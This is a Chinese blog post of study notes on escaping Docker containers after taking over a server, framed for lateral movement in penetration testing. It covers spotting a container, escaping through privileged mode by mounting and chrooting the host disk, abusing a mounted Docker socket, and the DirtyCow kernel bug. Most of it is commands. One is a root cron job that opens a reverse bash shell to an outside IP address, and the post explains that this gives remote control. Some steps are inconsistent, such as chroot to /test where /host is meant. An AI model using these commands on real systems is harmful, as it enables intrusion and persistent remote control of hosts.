容器逃逸学习
原理
运在宿主机上的容器;拥有超出自身进程应有的权限;逃逸到宿主机;执行操作。
背景
在拿下一台服务器之后,我们会遇到“服务器即容器”的情况。为了能够深入或横向渗透,我们常常需要进行容器逃逸和容器的隔离限制
如何判断当前机器是否为Docker 容器环境
1.检查根目录下是否存在.dockerenv
文件
ls -al .dockerenv
2.检查 /proc/1/cgroup
是否存在含有docker字符串!
cat /proc/1/cgroup | grep docker
逃逸操作
1. Docker 高危启动参数 -- privileged 特权模式启动容器 特权模式启动的参数
当操作者执行docker run --privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。
fdisk
查看自盘文件
在特权模式下,逃逸的方式很多,比如:直接在容器内部挂载宿主机磁盘,然后切换根目录。
新建一个目录:mkdir /test
挂载磁盘到新建目录:mount /dev/vda1 /test
切换根目录:chroot /test
到这里已经成功逃逸了,然后就是常规的反弹shell 和 写 SSH 了(和redis未授权差不多)。
写计划任务,反弹宿主机Shell。echo '* * * * * /bin/bash -i >& /dev/tcp/39.106.51.35/1234 0>&1' >> /test/var/spool/cron/crontabs/root
这个命令的作用是在目标系统的 root 用户的 cron 任务中添加一个定时任务,每分钟执行一次。这个任务会启动一个交互式的 bash shell,并将其输入输出重定向到远程服务器(IP 地址为 39.106.51.35,端口为 1234),从而实现远程控制目标系统的目的
先挂载到宿主机根目录
可以参考写入SSH 公钥:https://www.cnblogs.com/Hi-blog/p/9482418.html
2. 危险挂载导致Docker 逃逸
挂载目录(-v /:/soft)
docker run -itd -v /dir:/dir ubuntu:18.04 /bin/bash
挂载Docker Socket
Docker采用C/S架构,我们0平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon扮演,二者之间通信方式有以下3种:
- unix:///var/run/docker.sock(默认
- tcp://host:port
- fd://socketfd
Docker Socket是Docker守护进程监听的Unix域套接字,用来与守护进程通信——查询信息或下发命令。
逃逸复现:
1.首先创建一个容器并挂载/var/run/docker.sock;
docker run -itd -v /var/run/docker.sock:/var/run/docker.sock ubuntu
2.在该容器内安装Docker命令行客户端;
-
apt-update
apt-get install \
apt-transport-https \
ca-certificates \
curl \
gnupg-agent \
software-properties-common
curl -fsSL https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg | apt-key add -
apt-key fingerprint 0EBFCD88
add-apt-repository \
"deb [arch=amd64] https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/ \
$(lsb_release -cs) \
stable"
apt-get update
apt-get install docker-ce docker-ce-cli containerd.io
3.接着使用该客户端通过Docker Socket与Docker守护进程通信,发送命令创建并运行一个新的容器,将宿主机的根目录挂载到新创建容器的host 目录;docker run -it -v /:/host ubuntu:18.04 /bin/bash
以这种方式,创建的容器,可以执行命令直接改在到宿主机。
4..在新容器内执行chroot将根目录切换到挂载的宿主机根目录。chroot /test
成功逃逸到宿主机。
3. Nday导致的docker 逃逸
DirtyCow(CVE-2016-5195)脏牛漏洞实现Docker 逃逸
Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,通过它可实现Docker容器逃逸,获得root权限的shell。
Docker 与 宿主机共享内核,因此容器需要在存在dirtyCow漏洞的宿主机里。
4.
使用该客户端通过Docker Socket与Docker守护进程通信,发送命令创建并运行一个新的容器,将宿主机的根目录挂载到新创建的容器内部;docker run -it -v /:/host ubuntu:18.04 /bin/bash
参考文章:
https://xz.aliyun.com/t/8558?time__1311=n4%2BxnD0DcDuD90WY4GNepDUhOCfjq4DtQDRBGoD
https://www.freebuf.com/articles/network/363137.html
本文作者:潜伏237
本文链接:https://www.cnblogs.com/easyday/p/18618462
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY